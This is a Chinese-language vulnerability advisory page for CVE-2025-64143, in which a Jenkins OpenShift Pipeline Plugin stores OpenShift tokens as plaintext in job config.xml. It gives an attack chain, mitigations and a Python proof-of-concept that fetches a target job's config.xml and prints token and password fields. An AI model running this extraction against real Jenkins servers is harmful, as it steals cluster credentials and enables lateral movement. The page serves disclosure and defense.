IPBUF安全漏洞报告
English
CVE-2025-64143 CVSS 4.3 中危

CVE-2025-64143 Jenkins OpenShift Pipeline Plugin未加密存储授权令牌

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64143
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins OpenShift Pipeline Plugin

相关标签

CVE-2025-64143JenkinsOpenShift Pipeline Plugin敏感信息泄露未加密存储授权令牌配置注入CVSS 4.3中危漏洞

漏洞概述

Jenkins OpenShift Pipeline Plugin 1.0.57及更早版本存在一个敏感信息存储不安全漏洞。该插件在创建或配置OpenShift Pipeline任务时,会将OpenShift授权令牌以明文形式存储在job config.xml配置文件中。由于存储的令牌未经加密处理,攻击者可以通过以下途径获取这些敏感凭证:1) 拥有Jenkins Item/Extended Read权限的用户可以直接通过Web界面查看任务配置;2) 具有Jenkins控制器文件系统访问权限的用户可以直接读取config.xml文件。成功利用此漏洞的攻击者可以获取OpenShift平台的授权令牌,进而可能访问或操作OpenShift集群资源,包括部署应用、访问命名空间内的敏感数据等。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响机密性。

技术细节

Jenkins OpenShift Pipeline Plugin在任务配置存储机制上存在安全设计缺陷。插件使用Jenkins的标准配置存储机制将任务配置保存到config.xml文件中,但未对敏感字段(如OpenShift授权令牌)进行加密处理。当用户在插件的任务配置页面输入OpenShift凭据时,这些信息以明文形式被序列化并保存到Jenkins主控制器文件系统中的job config.xml文件里。由于Jenkins的任务配置文件默认权限设置允许具有Item/Extended Read权限的用户查看完整配置内容,攻击者可以通过Jenkins API或Web界面访问这些配置文件获取敏感令牌。此外,Jenkins控制器的文件系统访问权限通常授予给管理员用户,但如果有其他漏洞或配置错误导致任意文件读取,攻击者同样可以获取这些令牌。获取令牌后,攻击者可以在OpenShift集群中执行已授权的操作,如部署容器、访问Secrets资源等。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标Jenkins服务器上使用OpenShift Pipeline Plugin的任务,扫描具有Item/Extended Read权限的账户
STEP 2
Authentication
攻击者获取或窃取具有Item/Extended Read权限的Jenkins用户凭据,或通过其他漏洞提升权限
STEP 3
Config Extraction
通过Jenkins API访问job config.xml文件,或通过Web界面查看任务配置,获取存储的OpenShift授权令牌
STEP 4
Token Abuse
使用获取的OpenShift授权令牌访问OpenShift集群,执行已授权的操作如部署容器、访问命名空间资源等
STEP 5
Lateral Movement
利用OpenShift集群权限进行横向移动,可能获取更多敏感数据或部署恶意工作负载

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64143 PoC - Jenkins OpenShift Pipeline Plugin Token Extraction # Requires Jenkins Item/Extended Read permission import requests from bs4 import BeautifulSoup import xml.etree.ElementTree as ET JENKINS_URL = "http://target-jenkins-server:8080" JOB_NAME = "vulnerable-openshift-job" USERNAME = "attacker" API_TOKEN = "attacker-api-token" def extract_config_xml(): """Extract job config.xml containing unencrypted tokens""" session = requests.Session() session.auth = (USERNAME, API_TOKEN) # Method 1: Via Jenkins API config_url = f"{JENKINS_URL}/job/{JOB_NAME}/config.xml" response = session.get(config_url) if response.status_code == 200: # Parse XML to find OpenShift credentials root = ET.fromstring(response.content) # Search for credential-related elements namespaces = { 'com.microsoft.jenkins.openshift': 'your-plugin-namespace' } # Look for password/secret fields for elem in root.iter(): if 'password' in elem.tag.lower() or 'token' in elem.tag.lower(): print(f"Found sensitive field: {elem.tag}") print(f"Value: {elem.text}") return response.text else: print(f"Failed to access config: {response.status_code}") return None def extract_via_api(): """Alternative extraction via Jenkins REST API""" session = requests.Session() session.auth = (USERNAME, API_TOKEN) # Get job API with config.xml api_url = f"{JENKINS_URL}/job/{JOB_NAME}/api/xml?depth=1" response = session.get(api_url) return response.text if __name__ == "__main__": config = extract_config_xml() if config: # Save for analysis with open(f"{JOB_NAME}_config.xml", "w") as f: f.write(config) print(f"Config saved to {JOB_NAME}_config.xml")

影响范围

Jenkins OpenShift Pipeline Plugin <= 1.0.57

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1) 审计现有使用OpenShift Pipeline Plugin的任务配置,立即轮换所有存储的OpenShift授权令牌;2) 限制Jenkins Item/Extended Read权限的授予范围,确保只有必要的人员拥有此权限;3) 加强Jenkins控制器文件系统的访问控制;4) 监控Jenkins访问日志,关注异常的config.xml访问行为;5) 考虑使用Jenkins Credentials插件替代直接在配置中存储令牌的方式;6) 在网络层面限制Jenkins服务器的访问,只允许授权用户访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表